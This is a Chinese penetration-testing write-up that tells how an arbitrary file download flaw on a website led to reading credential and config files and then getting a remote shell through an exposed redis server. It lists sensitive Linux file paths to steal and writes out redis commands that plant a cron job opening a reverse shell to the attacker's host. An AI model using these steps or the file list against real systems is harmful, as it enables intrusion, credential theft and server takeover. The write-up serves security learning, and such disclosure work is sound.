实战 | 从任意文件下载到Getshell

起因

在某网站下载素材,下载的时候看了下URL,然后发现了惊喜

花里胡哨的就不整了,待我口述一下思路

看到下载链接的URL如下

url=/xxx/xxx/xxx.zip

感觉可能存在任意文件下载漏洞,然后试了一下

url=/etc/passwd

可以成功下载,下载下来文件自动加了.zip后缀且无法解压。

不慌,直接拿notepad++一类的工具打开即可。

整理一下Linux下常见的敏感文件(需首先判断服务器操作系统版本)

/etc/passwd  #看一下存在哪些用户和服务,如果某些用户有bash,可以读一下他的.bash_history
/etc/shadow  #shadow文件,但是很难破解
/root/.bash_history  #root用户操作历史命令记录,可能会泄露服务器根路径,mysql密码,一些服务启动脚本等
/root/.mysql_history  #mysql历史命令记录文件
/var/lib/mlocate/mlocate.db  #本地所有文件信息
/etc/ssh/sshd_config  #ssh配置文件,如果对外开放可看到端口

apache:
/etc/httpd/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf

nginx:
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf

redis:
/etc/redis.conf

以上的总结都是一些固定位置的配置文件,当然实际中这些路径不一定对,需要你结合.bash_history等信息自己去猜测。

针对Linux系统任意文件下载的几种思路:

  • 下载源代码审计
  • 数据库备份
  • 信息收集
  • 中间件
  • ...

信息收集

首先是下载.bash_history文件分析了一下,得到以下信息

网站根目录
几个服务启动/数据库备份脚本(xxx.sh)
服务器运行着几个服务:
1.apache-tomcat
2.nginx
3.redis

随后下载了某数据库自动备份脚本(xxx.sh)得到数据库的连接地址以及账号密码。

下载redis.conf配置文件得到redis密码。

问题

遇到的几个问题:

1.数据库是某云的,是内网ip,所以无法用外网连接。

2.针对java的站如果下载源代码审计会很麻烦

3.web.xml文件找不到

4.找不到数据库备份文件(即使找到也不敢下载)

5....

推荐个工具(基于java任意文件读取设计自动化信息搜集工具):

https://github.com/Artemis1029/Java_xmlhack/

转折点

一开始用nmap没扫到redis的端口,后来全端口扫描,发现redis端口对外开放了。

所以这样就简单多了,可以利用redis反弹shell

先在服务器用nc监听端口

nc -lvp 8888

然后连接redis

./redis-cli -h xxx.xxx.xxx.xxx(目标ip) -p 6379 -a password(密码)

写入计划任务反弹shell

set test "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx(服务器ip)/8888 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

等待一分钟即可拿到shell

总结

运气很重要

前期的信息收集也很重要

Redis真是一个神奇的东西

PS:该漏洞已经第一时间通知厂商并已经进行了修复。

声明:本文的初衷就是分享网络安全知识,若有读者因此做出任何危害网络安全的行为,请后果自负。

原文发布于微信公众号 - 渗透云笔记(shentouyun)

原文发表时间:2019-09-01

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券